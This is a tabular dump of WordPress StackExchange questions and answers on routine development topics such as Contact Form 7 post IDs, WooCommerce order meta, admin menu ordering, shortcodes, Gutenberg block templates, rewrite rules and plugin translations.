qid int64 4 8.14M | question stringlengths 20 48.3k | answers list | date stringlengths 10 10 | metadata list | input stringlengths 12 45k | output stringlengths 2 31.8k |
|---|---|---|---|---|---|---|
354,689 | <p>I'm trying to handle the CF7 data before send and update the current post custom field using ACF function but I'm unable to get the current post ID the form is send from. I've also tried getting the ID from global $post variable and get_queried_object_id() but it didn't work either.</p>
<p>Any idea how can I get th... | [
{
"answer_id": 354694,
"author": "DesVal",
"author_id": 67802,
"author_profile": "https://wordpress.stackexchange.com/users/67802",
"pm_score": 2,
"selected": false,
"text": "<p>Found out you can get the container post ID with <code>$_POST['_wpcf7_container_post'])</code></p>\n"
},
{... | 2019/12/16 | [
"https://wordpress.stackexchange.com/questions/354689",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/67802/"
] | I'm trying to handle the CF7 data before send and update the current post custom field using ACF function but I'm unable to get the current post ID the form is send from. I've also tried getting the ID from global $post variable and get\_queried\_object\_id() but it didn't work either.
Any idea how can I get the ID of... | Due to [a backwards-incompatible change](https://wordpress.org/support/topic/critical-issue-with-5-2/#post-13138516) in version 5.2, you can no longer retrieve the form's meta data using `get_posted_data()`.
Instead, you can use the `id` value in the array returned by `get_current()`:
```
$contact_form = WPCF7_Contac... |
354,728 | <p>I am trying to get a specific meta value from all of a customer's orders and simply echo them to the Downloads page within My Account. This is what I have so far, but unable to get $skey to retrieve and display the assigned values that are set from the backend. Basic idea is to go to a customer's order, define what ... | [
{
"answer_id": 354749,
"author": "Antti Koskinen",
"author_id": 144392,
"author_profile": "https://wordpress.stackexchange.com/users/144392",
"pm_score": 0,
"selected": false,
"text": "<p>The problem with your code is that you're passing an array of orders, which <code>wc_get_orders()</c... | 2019/12/16 | [
"https://wordpress.stackexchange.com/questions/354728",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/148496/"
] | I am trying to get a specific meta value from all of a customer's orders and simply echo them to the Downloads page within My Account. This is what I have so far, but unable to get $skey to retrieve and display the assigned values that are set from the backend. Basic idea is to go to a customer's order, define what we ... | Some basic issues with code. Since this hook do not have any data supplied to function, you need to get current user logged in.
Secondly, as already mentioned by @antti, get\_post\_meta accepts first parameter as post id (in this case order id), single value.
```
function return_s_key_field() {
$orders = wc_get_or... |
354,759 | <p>We're looking to add two new (custom post type) entries between Dashboard and Posts. </p>
<p>In this project, for the end user, two items are going to be <strong>by far</strong> the most used items in his dashboard. So we want them at the top.</p>
<p>These seem to be the built in <code>menu_position</code> setting... | [
{
"answer_id": 354779,
"author": "nmr",
"author_id": 147428,
"author_profile": "https://wordpress.stackexchange.com/users/147428",
"pm_score": 3,
"selected": true,
"text": "<p>The order of the menu items can be changed using the filter <a href=\"https://developer.wordpress.org/reference/... | 2019/12/17 | [
"https://wordpress.stackexchange.com/questions/354759",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/875/"
] | We're looking to add two new (custom post type) entries between Dashboard and Posts.
In this project, for the end user, two items are going to be **by far** the most used items in his dashboard. So we want them at the top.
These seem to be the built in `menu_position` settings:
[
```
add_filter( 'menu_order', 'se354759_menu_order' );
add_filter( 'custom_menu_order', '__return_true' );
function se354759_menu_order ($menu_order)
{
$cpts = [
'edit.ph... |
354,826 | <p>and thank you for any help you can provide. I've been trying to address this issue for a couple of days now, but I've found myself out of my depth... any help would be most appreciated--this is my first time trying to create a plugin, and I'm very new to PHP.</p>
<p>I have a custom plugin, cobbled together from Jos... | [
{
"answer_id": 354836,
"author": "Chetan Vaghela",
"author_id": 169856,
"author_profile": "https://wordpress.stackexchange.com/users/169856",
"pm_score": 3,
"selected": true,
"text": "<p>As @TomJNowell said, You must never nest functions like that. so First,you have to move that function... | 2019/12/17 | [
"https://wordpress.stackexchange.com/questions/354826",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/179903/"
] | and thank you for any help you can provide. I've been trying to address this issue for a couple of days now, but I've found myself out of my depth... any help would be most appreciated--this is my first time trying to create a plugin, and I'm very new to PHP.
I have a custom plugin, cobbled together from Joshua David ... | As @TomJNowell said, You must never nest functions like that. so First,you have to move that functions out of that shortcode function and paste separately in your plugin's file or active themes functions.php file. Second, follow what the codex says [Shortcodes](https://codex.wordpress.org/Shortcode_API#Output), If the ... |
354,847 | <p>In one of my client sites, the default comment feature is not needed globally. Instead I'm using it only under a certain CPT (eg. Complaints). With the following code, I moved the parent menu item: "Comments" under the "Complaints" CPT:</p>
<pre><code><?php
/**
* Relocate Comments in Admin Menu.
*
* Relocate ... | [
{
"answer_id": 354852,
"author": "Kaperto",
"author_id": 147795,
"author_profile": "https://wordpress.stackexchange.com/users/147795",
"pm_score": 1,
"selected": false,
"text": "<p>the first step is to set <code>edit-comments.php?post_type=complaint</code> for the menu slug.</p>\n\n<p>an... | 2019/12/18 | [
"https://wordpress.stackexchange.com/questions/354847",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/22728/"
] | In one of my client sites, the default comment feature is not needed globally. Instead I'm using it only under a certain CPT (eg. Complaints). With the following code, I moved the parent menu item: "Comments" under the "Complaints" CPT:
```
<?php
/**
* Relocate Comments in Admin Menu.
*
* Relocate Comments parent m... | By adding `post_type` to `add_submenu_page` menu slug it will active CPT page menu. then you have to add parent page as that CPT to that commnet page by using `submenu_file` filter.
**# Move comment to CPT**
```
function wpse354847_relocate_comments_in_admin_menu()
{
// Remove existing parent menu.
remove_men... |
354,857 | <p>I have wordPress site. My website works under demo directory. URL looks like this www.website.com/demo. I want change that to normal like www.website.com how to do that please help. Thank you</p>
| [
{
"answer_id": 354852,
"author": "Kaperto",
"author_id": 147795,
"author_profile": "https://wordpress.stackexchange.com/users/147795",
"pm_score": 1,
"selected": false,
"text": "<p>the first step is to set <code>edit-comments.php?post_type=complaint</code> for the menu slug.</p>\n\n<p>an... | 2019/12/18 | [
"https://wordpress.stackexchange.com/questions/354857",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/179933/"
] | I have wordPress site. My website works under demo directory. URL looks like this www.website.com/demo. I want change that to normal like www.website.com how to do that please help. Thank you | By adding `post_type` to `add_submenu_page` menu slug it will active CPT page menu. then you have to add parent page as that CPT to that commnet page by using `submenu_file` filter.
**# Move comment to CPT**
```
function wpse354847_relocate_comments_in_admin_menu()
{
// Remove existing parent menu.
remove_men... |
354,875 | <p>I would like to have 3 editable columns (25, 50, 25) like you can insert in Gutenberg, per default in every new page. How can I do this? If I give the columns to <code>page.php</code> they are not editable.</p>
| [
{
"answer_id": 354948,
"author": "kraftner",
"author_id": 47733,
"author_profile": "https://wordpress.stackexchange.com/users/47733",
"pm_score": 3,
"selected": true,
"text": "<p>So first of all this is <a href=\"https://developer.wordpress.org/block-editor/developers/block-api/block-tem... | 2019/12/18 | [
"https://wordpress.stackexchange.com/questions/354875",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/179947/"
] | I would like to have 3 editable columns (25, 50, 25) like you can insert in Gutenberg, per default in every new page. How can I do this? If I give the columns to `page.php` they are not editable. | So first of all this is [explained in detail in the documentation](https://developer.wordpress.org/block-editor/developers/block-api/block-templates/), just not exactly for this particular case.
To summarize:
* You want to set a "block template" for the post type "page".
* In this block template you want to have one ... |
354,980 | <p>I'm trying to create a function that sends an email to the admin when a new user registers. I would like the email to contain the users first name, last name, email address, and billing information added via WooCommerce. This is what I have so far, but for some reason $id and $email are the only variables that show ... | [
{
"answer_id": 354918,
"author": "Monkey Puzzle",
"author_id": 48568,
"author_profile": "https://wordpress.stackexchange.com/users/48568",
"pm_score": 0,
"selected": false,
"text": "<p>The author of the post (current logged-in user when writing it) will show as the Post Author. However, ... | 2019/12/20 | [
"https://wordpress.stackexchange.com/questions/354980",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180030/"
] | I'm trying to create a function that sends an email to the admin when a new user registers. I would like the email to contain the users first name, last name, email address, and billing information added via WooCommerce. This is what I have so far, but for some reason $id and $email are the only variables that show up ... | before making edits, please consider to create a child theme for your customization; <https://developer.wordpress.org/themes/advanced-topics/child-themes/>
to show a link to the author's page (<https://developer.wordpress.org/reference/functions/get_author_posts_url/>), put this code into the loop of the blog or post ... |
355,011 | <p>I'm working on a fill-in-the-blanks plugin (<a href="https://github.com/liquidchurch/lqd-notes" rel="nofollow noreferrer">https://github.com/liquidchurch/lqd-notes</a>) which has been working.</p>
<p>I realized that the plugin was loading its styles, js, and inserting a div on every page, not just its own custom po... | [
{
"answer_id": 355015,
"author": "davemackey",
"author_id": 43881,
"author_profile": "https://wordpress.stackexchange.com/users/43881",
"pm_score": 0,
"selected": false,
"text": "<p>StackOverflow may be my <a href=\"https://en.wikipedia.org/wiki/Rubber_duck_debugging\" rel=\"nofollow nor... | 2019/12/20 | [
"https://wordpress.stackexchange.com/questions/355011",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/43881/"
] | I'm working on a fill-in-the-blanks plugin (<https://github.com/liquidchurch/lqd-notes>) which has been working.
I realized that the plugin was loading its styles, js, and inserting a div on every page, not just its own custom post type ('lqdnotes). So I used a simple if statement to ensure the code is only passed if ... | I realize you've already answered your issue. However, I think there is some additional explanation possible to give more clarity to the issue and the solution.
The issue is your `lqdnotes_add_div()` function. This is hooked to a filter - `the_content`.
In WordPress, any time you use a filter, your filter function mu... |
355,052 | <p>Was called incorrectly. The seventh parameter passed to an <code>add_submenu_page()</code> should be an integer representing menu position. Please see Debugging in WordPress for more information. (This message was added in version 5.3.0.) in <code>/home3/prombooking/listandlink.com/wp-includes/functions.php</code> o... | [
{
"answer_id": 355015,
"author": "davemackey",
"author_id": 43881,
"author_profile": "https://wordpress.stackexchange.com/users/43881",
"pm_score": 0,
"selected": false,
"text": "<p>StackOverflow may be my <a href=\"https://en.wikipedia.org/wiki/Rubber_duck_debugging\" rel=\"nofollow nor... | 2019/12/21 | [
"https://wordpress.stackexchange.com/questions/355052",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180092/"
] | Was called incorrectly. The seventh parameter passed to an `add_submenu_page()` should be an integer representing menu position. Please see Debugging in WordPress for more information. (This message was added in version 5.3.0.) in `/home3/prombooking/listandlink.com/wp-includes/functions.php` on line 4986 | I realize you've already answered your issue. However, I think there is some additional explanation possible to give more clarity to the issue and the solution.
The issue is your `lqdnotes_add_div()` function. This is hooked to a filter - `the_content`.
In WordPress, any time you use a filter, your filter function mu... |
355,114 | <p>I am working on a plugin that registers custom new endpoints in every update and we need to Flush Rewrite Rules after every update of the plugin.</p>
<p>Flushing Rewrite Rules are easy after activation of the plugin and there is a lot of tutorials out there about this</p>
<p>But in the case of Flushing Rewrite Rul... | [
{
"answer_id": 355132,
"author": "Will",
"author_id": 48698,
"author_profile": "https://wordpress.stackexchange.com/users/48698",
"pm_score": 0,
"selected": false,
"text": "<p>I haven't verified this but you could try the <a href=\"https://developer.wordpress.org/reference/hooks/upgrader... | 2019/12/23 | [
"https://wordpress.stackexchange.com/questions/355114",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/86669/"
] | I am working on a plugin that registers custom new endpoints in every update and we need to Flush Rewrite Rules after every update of the plugin.
Flushing Rewrite Rules are easy after activation of the plugin and there is a lot of tutorials out there about this
But in the case of Flushing Rewrite Rules after Update
... | Your answer above was close but is should be
```
add_action( 'upgrader_process_complete', 'wp_answ_355114' );
```
not
```
do_action( 'upgrader_process_complete', 'wp_answ_355114' );
```
noting that this is only the case when a plugin is updated view WP plugin updates. |
355,147 | <p>I have a website that uses a plugin that lets me add categories and tags to pages. </p>
<p>Is there a way of automatically changing the color of a menu item linked to all pages with a particular tag or category?</p>
<p>Specifically, I want to add the class "unwatched" to the menu item of any page that has been ta... | [
{
"answer_id": 355194,
"author": "Tony Djukic",
"author_id": 60844,
"author_profile": "https://wordpress.stackexchange.com/users/60844",
"pm_score": 0,
"selected": false,
"text": "<p>Instead of using <code>array_push()</code> try using <code>$item->classes[] = 'unwatched';</code></p>\... | 2019/12/24 | [
"https://wordpress.stackexchange.com/questions/355147",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/119832/"
] | I have a website that uses a plugin that lets me add categories and tags to pages.
Is there a way of automatically changing the color of a menu item linked to all pages with a particular tag or category?
Specifically, I want to add the class "unwatched" to the menu item of any page that has been tagged with the "unw... | OK, got it :-)
```
add_filter( 'wp_nav_menu_objects', 'add_nav_menu_item_class' );
function add_nav_menu_item_class( $items ) {
foreach ( $items as $item ) {
$post_id = get_post_meta( $item->ID, '_menu_item_object_id', true );
$post_tags = get_the_tags( $post_id );
if ( $post_tags ) {
... |
355,153 | <p>I am not getting the Wordpress Admin login page. It is displaying Error 404 Not found.
Can anyone help me exactly what could be the issue?</p>
<p><a href="https://i.stack.imgur.com/OFGvo.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OFGvo.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 355194,
"author": "Tony Djukic",
"author_id": 60844,
"author_profile": "https://wordpress.stackexchange.com/users/60844",
"pm_score": 0,
"selected": false,
"text": "<p>Instead of using <code>array_push()</code> try using <code>$item->classes[] = 'unwatched';</code></p>\... | 2019/12/24 | [
"https://wordpress.stackexchange.com/questions/355153",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180177/"
] | I am not getting the Wordpress Admin login page. It is displaying Error 404 Not found.
Can anyone help me exactly what could be the issue?
[](https://i.stack.imgur.com/OFGvo.png) | OK, got it :-)
```
add_filter( 'wp_nav_menu_objects', 'add_nav_menu_item_class' );
function add_nav_menu_item_class( $items ) {
foreach ( $items as $item ) {
$post_id = get_post_meta( $item->ID, '_menu_item_object_id', true );
$post_tags = get_the_tags( $post_id );
if ( $post_tags ) {
... |
355,164 | <p>I activated wordpress theme <code>twenty twenty</code> and make some changes in it like background color , change default contents and landing pages etc . </p>
<p>Can I export this modified theme and import in another wordpress website so that I dont have to make same changes again and again ?</p>
<p>We have to re... | [
{
"answer_id": 355194,
"author": "Tony Djukic",
"author_id": 60844,
"author_profile": "https://wordpress.stackexchange.com/users/60844",
"pm_score": 0,
"selected": false,
"text": "<p>Instead of using <code>array_push()</code> try using <code>$item->classes[] = 'unwatched';</code></p>\... | 2019/12/24 | [
"https://wordpress.stackexchange.com/questions/355164",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180185/"
] | I activated wordpress theme `twenty twenty` and make some changes in it like background color , change default contents and landing pages etc .
Can I export this modified theme and import in another wordpress website so that I dont have to make same changes again and again ?
We have to replicate same content around ... | OK, got it :-)
```
add_filter( 'wp_nav_menu_objects', 'add_nav_menu_item_class' );
function add_nav_menu_item_class( $items ) {
foreach ( $items as $item ) {
$post_id = get_post_meta( $item->ID, '_menu_item_object_id', true );
$post_tags = get_the_tags( $post_id );
if ( $post_tags ) {
... |
355,174 | <p>Not sure what I changed in my Wordpress some days ago but today I was not able to update/install any plugin. I followed <a href="https://community.bitnami.com/t/wordpress-permissions-unable-to-create-directory/42048/3" rel="nofollow noreferrer">https://community.bitnami.com/t/wordpress-permissions-unable-to-create-d... | [
{
"answer_id": 355194,
"author": "Tony Djukic",
"author_id": 60844,
"author_profile": "https://wordpress.stackexchange.com/users/60844",
"pm_score": 0,
"selected": false,
"text": "<p>Instead of using <code>array_push()</code> try using <code>$item->classes[] = 'unwatched';</code></p>\... | 2019/12/24 | [
"https://wordpress.stackexchange.com/questions/355174",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/179485/"
] | Not sure what I changed in my Wordpress some days ago but today I was not able to update/install any plugin. I followed <https://community.bitnami.com/t/wordpress-permissions-unable-to-create-directory/42048/3> and applied the following permissions:
```
sudo find ~/apps/wordpress/htdocs/ -type f -exec chmod 644 {} \;
... | OK, got it :-)
```
add_filter( 'wp_nav_menu_objects', 'add_nav_menu_item_class' );
function add_nav_menu_item_class( $items ) {
foreach ( $items as $item ) {
$post_id = get_post_meta( $item->ID, '_menu_item_object_id', true );
$post_tags = get_the_tags( $post_id );
if ( $post_tags ) {
... |
355,180 | <p>Cannot modify header information - headers already sent by (output started at /wp-includes/class-wp-post-type.php:613) in /wp-includes/functions.php on line 6029</p>
<p>This error has seemed to follow me around since WP 5.3 where 'supports' needs to be an array. I've been able to successfully clear out the error fo... | [
{
"answer_id": 355194,
"author": "Tony Djukic",
"author_id": 60844,
"author_profile": "https://wordpress.stackexchange.com/users/60844",
"pm_score": 0,
"selected": false,
"text": "<p>Instead of using <code>array_push()</code> try using <code>$item->classes[] = 'unwatched';</code></p>\... | 2019/12/24 | [
"https://wordpress.stackexchange.com/questions/355180",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/145742/"
] | Cannot modify header information - headers already sent by (output started at /wp-includes/class-wp-post-type.php:613) in /wp-includes/functions.php on line 6029
This error has seemed to follow me around since WP 5.3 where 'supports' needs to be an array. I've been able to successfully clear out the error for a small ... | OK, got it :-)
```
add_filter( 'wp_nav_menu_objects', 'add_nav_menu_item_class' );
function add_nav_menu_item_class( $items ) {
foreach ( $items as $item ) {
$post_id = get_post_meta( $item->ID, '_menu_item_object_id', true );
$post_tags = get_the_tags( $post_id );
if ( $post_tags ) {
... |
355,198 | <p>I am using Jevelin theme and their Lightbox should showing image caption from alt attribute. Hovewer it doesn't works. </p>
<p>Here is the link: <a href="https://www.coleopterafarm.cz/galerie-zlatohlavci/" rel="nofollow noreferrer">https://www.coleopterafarm.cz/galerie-zlatohlavci/</a></p>
<p>I am wondering around... | [
{
"answer_id": 355194,
"author": "Tony Djukic",
"author_id": 60844,
"author_profile": "https://wordpress.stackexchange.com/users/60844",
"pm_score": 0,
"selected": false,
"text": "<p>Instead of using <code>array_push()</code> try using <code>$item->classes[] = 'unwatched';</code></p>\... | 2019/12/24 | [
"https://wordpress.stackexchange.com/questions/355198",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180202/"
] | I am using Jevelin theme and their Lightbox should showing image caption from alt attribute. Hovewer it doesn't works.
Here is the link: <https://www.coleopterafarm.cz/galerie-zlatohlavci/>
I am wondering around forums and tips but still without a success.
Could anyone help me with this please? Thank you! :) | OK, got it :-)
```
add_filter( 'wp_nav_menu_objects', 'add_nav_menu_item_class' );
function add_nav_menu_item_class( $items ) {
foreach ( $items as $item ) {
$post_id = get_post_meta( $item->ID, '_menu_item_object_id', true );
$post_tags = get_the_tags( $post_id );
if ( $post_tags ) {
... |
355,228 | <p>Any idea on how I can totally disable or entirely remove the default/Native Wordpress video player?</p>
| [
{
"answer_id": 355229,
"author": "Serkan Algur",
"author_id": 23042,
"author_profile": "https://wordpress.stackexchange.com/users/23042",
"pm_score": 4,
"selected": true,
"text": "<p>welcome aboard. </p>\n\n<p>WordPress uses Media Elements JS for default video/audio player. You can disab... | 2019/12/25 | [
"https://wordpress.stackexchange.com/questions/355228",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180230/"
] | Any idea on how I can totally disable or entirely remove the default/Native Wordpress video player? | welcome aboard.
WordPress uses Media Elements JS for default video/audio player. You can disable this scripts with this code. Please add this code to **your theme's** `functions.php`
```php
function deregister_media_elements(){
wp_deregister_script('wp-mediaelement');
wp_deregister_style('wp-mediaelement');
}... |
355,267 | <p>Is this because of Wordpress, PHP, or the Theme? (or some combination)</p>
<p>A client of mine has a Wordpress site that's been working just fine for years, but recently started getting the following errors pulling up in it's sidebars:</p>
<p>Warning: Invalid argument supplied for foreach() in /wp-content/themes/e... | [
{
"answer_id": 355229,
"author": "Serkan Algur",
"author_id": 23042,
"author_profile": "https://wordpress.stackexchange.com/users/23042",
"pm_score": 4,
"selected": true,
"text": "<p>welcome aboard. </p>\n\n<p>WordPress uses Media Elements JS for default video/audio player. You can disab... | 2019/12/27 | [
"https://wordpress.stackexchange.com/questions/355267",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180257/"
] | Is this because of Wordpress, PHP, or the Theme? (or some combination)
A client of mine has a Wordpress site that's been working just fine for years, but recently started getting the following errors pulling up in it's sidebars:
Warning: Invalid argument supplied for foreach() in /wp-content/themes/epsilon/page-three... | welcome aboard.
WordPress uses Media Elements JS for default video/audio player. You can disable this scripts with this code. Please add this code to **your theme's** `functions.php`
```php
function deregister_media_elements(){
wp_deregister_script('wp-mediaelement');
wp_deregister_style('wp-mediaelement');
}... |
355,347 | <p>I am not sure where exactly I navigate to add the analytics code once so it gets to all the WordPress pages.</p>
<p>Do I change the HTML manually or can I do this from WordPress somewhere?</p>
| [
{
"answer_id": 355229,
"author": "Serkan Algur",
"author_id": 23042,
"author_profile": "https://wordpress.stackexchange.com/users/23042",
"pm_score": 4,
"selected": true,
"text": "<p>welcome aboard. </p>\n\n<p>WordPress uses Media Elements JS for default video/audio player. You can disab... | 2019/12/29 | [
"https://wordpress.stackexchange.com/questions/355347",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/34846/"
] | I am not sure where exactly I navigate to add the analytics code once so it gets to all the WordPress pages.
Do I change the HTML manually or can I do this from WordPress somewhere? | welcome aboard.
WordPress uses Media Elements JS for default video/audio player. You can disable this scripts with this code. Please add this code to **your theme's** `functions.php`
```php
function deregister_media_elements(){
wp_deregister_script('wp-mediaelement');
wp_deregister_style('wp-mediaelement');
}... |
355,360 | <p>i created a dbdelta table but i cant seem to insert any data
here is my code
please help</p>
<pre><code>function lapizzeria_save_reservation() {
global $wpdb;
if(isset($_POST['reservation']) && $_POST['hidden'] =="1") {
$name =$_POST['name'];
$date =$_POST['date'];
$email =$_POST['email'];
... | [
{
"answer_id": 355229,
"author": "Serkan Algur",
"author_id": 23042,
"author_profile": "https://wordpress.stackexchange.com/users/23042",
"pm_score": 4,
"selected": true,
"text": "<p>welcome aboard. </p>\n\n<p>WordPress uses Media Elements JS for default video/audio player. You can disab... | 2019/12/29 | [
"https://wordpress.stackexchange.com/questions/355360",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180293/"
] | i created a dbdelta table but i cant seem to insert any data
here is my code
please help
```
function lapizzeria_save_reservation() {
global $wpdb;
if(isset($_POST['reservation']) && $_POST['hidden'] =="1") {
$name =$_POST['name'];
$date =$_POST['date'];
$email =$_POST['email'];
$phone =$_POST['ph... | welcome aboard.
WordPress uses Media Elements JS for default video/audio player. You can disable this scripts with this code. Please add this code to **your theme's** `functions.php`
```php
function deregister_media_elements(){
wp_deregister_script('wp-mediaelement');
wp_deregister_style('wp-mediaelement');
}... |
355,392 | <p>I've been breaking my head on this one. I have a child theme and made changes to the <code>style.css</code> document. These changes did not show up in the reload of the page because there is no mention of version in the stylesheet declaration of this file. </p>
<p>I have found out that <code>style.css</code> is loa... | [
{
"answer_id": 355229,
"author": "Serkan Algur",
"author_id": 23042,
"author_profile": "https://wordpress.stackexchange.com/users/23042",
"pm_score": 4,
"selected": true,
"text": "<p>welcome aboard. </p>\n\n<p>WordPress uses Media Elements JS for default video/audio player. You can disab... | 2019/12/30 | [
"https://wordpress.stackexchange.com/questions/355392",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180003/"
] | I've been breaking my head on this one. I have a child theme and made changes to the `style.css` document. These changes did not show up in the reload of the page because there is no mention of version in the stylesheet declaration of this file.
I have found out that `style.css` is loaded as a foundation of the theme... | welcome aboard.
WordPress uses Media Elements JS for default video/audio player. You can disable this scripts with this code. Please add this code to **your theme's** `functions.php`
```php
function deregister_media_elements(){
wp_deregister_script('wp-mediaelement');
wp_deregister_style('wp-mediaelement');
}... |
355,440 | <p>I have the code,
<a href="https://i.stack.imgur.com/TAOEb.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/TAOEb.png" alt="enter image description here"></a></p>
<pre><code>/*
* Add a metabox
* I hope you're familiar with add_meta_box() function, so, nothing new for you here
*/
add_action( 'ad... | [
{
"answer_id": 355441,
"author": "Pradipta Sarkar",
"author_id": 178446,
"author_profile": "https://wordpress.stackexchange.com/users/178446",
"pm_score": 2,
"selected": true,
"text": "<p>First of all you saved the the terms value in a post meta table and not following the wordpress conv... | 2019/12/31 | [
"https://wordpress.stackexchange.com/questions/355440",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180205/"
] | I have the code,
[](https://i.stack.imgur.com/TAOEb.png)
```
/*
* Add a metabox
* I hope you're familiar with add_meta_box() function, so, nothing new for you here
*/
add_action( 'admin_menu', 'rudr_metabox_for_select2_cat' );
function rudr_metabo... | First of all you saved the the terms value in a post meta table and not following the wordpress conventional method.
To make it connect with default category with that post you need to modify your `save_post` action. Check the modified code.
```
add_action( 'save_post', 'rudr_save_metaboxdata', 10, 2 );
function ru... |
355,446 | <p>I am using WP forms and want to have a dropdown menu where users can select their timezone. I found a list that I could hardcode into the dropdown but I read somewhere that this would be a bad idea because of daylight savings time. Not sure if that is the case.</p>
<p>Anyway, if anyone has some suggestions for this... | [
{
"answer_id": 355441,
"author": "Pradipta Sarkar",
"author_id": 178446,
"author_profile": "https://wordpress.stackexchange.com/users/178446",
"pm_score": 2,
"selected": true,
"text": "<p>First of all you saved the the terms value in a post meta table and not following the wordpress conv... | 2019/12/31 | [
"https://wordpress.stackexchange.com/questions/355446",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165412/"
] | I am using WP forms and want to have a dropdown menu where users can select their timezone. I found a list that I could hardcode into the dropdown but I read somewhere that this would be a bad idea because of daylight savings time. Not sure if that is the case.
Anyway, if anyone has some suggestions for this I would r... | First of all you saved the the terms value in a post meta table and not following the wordpress conventional method.
To make it connect with default category with that post you need to modify your `save_post` action. Check the modified code.
```
add_action( 'save_post', 'rudr_save_metaboxdata', 10, 2 );
function ru... |
355,448 | <p>I have a custom post type called <code>produce</code> set up in WordPress and a custom taxonomy called <code>produce_category</code>.</p>
<p>The URL format for posts in this custom post type is in this format <code>http://mywebsite/produce/%produce_category%/%postname%/</code>. Of course <code>%produce_category%</c... | [
{
"answer_id": 355441,
"author": "Pradipta Sarkar",
"author_id": 178446,
"author_profile": "https://wordpress.stackexchange.com/users/178446",
"pm_score": 2,
"selected": true,
"text": "<p>First of all you saved the the terms value in a post meta table and not following the wordpress conv... | 2019/12/31 | [
"https://wordpress.stackexchange.com/questions/355448",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/118073/"
] | I have a custom post type called `produce` set up in WordPress and a custom taxonomy called `produce_category`.
The URL format for posts in this custom post type is in this format `http://mywebsite/produce/%produce_category%/%postname%/`. Of course `%produce_category%` and `%postname%` get substituted accordingly, a w... | First of all you saved the the terms value in a post meta table and not following the wordpress conventional method.
To make it connect with default category with that post you need to modify your `save_post` action. Check the modified code.
```
add_action( 'save_post', 'rudr_save_metaboxdata', 10, 2 );
function ru... |
355,456 | <p>I have a function to show theme details and want to put it in a sentence.
Like: The "theme" developed by "author". And it will contain links.</p>
<p>I tried printf, did get the correct result.</p>
<pre><code> function logbook_info() {
$theme_logbook = wp_get_theme();
echo esc_html( $theme_logbook->ge... | [
{
"answer_id": 355457,
"author": "Pradipta Sarkar",
"author_id": 178446,
"author_profile": "https://wordpress.stackexchange.com/users/178446",
"pm_score": 0,
"selected": false,
"text": "<pre><code>function logbook_info() {\n $theme_logbook = wp_get_theme();\n echo 'The'.esc_html( $... | 2019/12/31 | [
"https://wordpress.stackexchange.com/questions/355456",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180399/"
] | I have a function to show theme details and want to put it in a sentence.
Like: The "theme" developed by "author". And it will contain links.
I tried printf, did get the correct result.
```
function logbook_info() {
$theme_logbook = wp_get_theme();
echo esc_html( $theme_logbook->get( 'TextDomain' ) );
... | You can use below code to display theme detail sentence. I have use `wp_footer` action,You can change hook as per your requirement.
```
function logbook_info() {
$theme_logbook = wp_get_theme();
$theme_name = esc_html( $theme_logbook->get( 'Name' ) );
$theme_uri = esc_html( $theme_logbook->get( 'ThemeURI' ... |
355,462 | <p>I am trying to create a website with wordpress and I want to change the text value of the submit button (included in the pictures). When I change its' text value while inspecting the element, it changes successfully, but when I do it with custom CSS, it fails. What code should I write to the custom CSS file to succe... | [
{
"answer_id": 355457,
"author": "Pradipta Sarkar",
"author_id": 178446,
"author_profile": "https://wordpress.stackexchange.com/users/178446",
"pm_score": 0,
"selected": false,
"text": "<pre><code>function logbook_info() {\n $theme_logbook = wp_get_theme();\n echo 'The'.esc_html( $... | 2019/12/31 | [
"https://wordpress.stackexchange.com/questions/355462",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180406/"
] | I am trying to create a website with wordpress and I want to change the text value of the submit button (included in the pictures). When I change its' text value while inspecting the element, it changes successfully, but when I do it with custom CSS, it fails. What code should I write to the custom CSS file to successf... | You can use below code to display theme detail sentence. I have use `wp_footer` action,You can change hook as per your requirement.
```
function logbook_info() {
$theme_logbook = wp_get_theme();
$theme_name = esc_html( $theme_logbook->get( 'Name' ) );
$theme_uri = esc_html( $theme_logbook->get( 'ThemeURI' ... |
355,472 | <p>I am struggling to load translation in JavaScript for my simple plugin. Translation works for PHP, but not in JS. What seems to be the problem, how can I debug this? </p>
<ol>
<li><p>I have loaded text domain in my plugin method and this works ok. My text domain is <code>instantsearch</code>, locale for my language... | [
{
"answer_id": 365613,
"author": "Josiah Sprague",
"author_id": 21290,
"author_profile": "https://wordpress.stackexchange.com/users/21290",
"pm_score": 2,
"selected": false,
"text": "<p>I was having the same problem and this is how I solved it:</p>\n\n<p>First, the generated JSON file ha... | 2019/12/31 | [
"https://wordpress.stackexchange.com/questions/355472",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/47357/"
] | I am struggling to load translation in JavaScript for my simple plugin. Translation works for PHP, but not in JS. What seems to be the problem, how can I debug this?
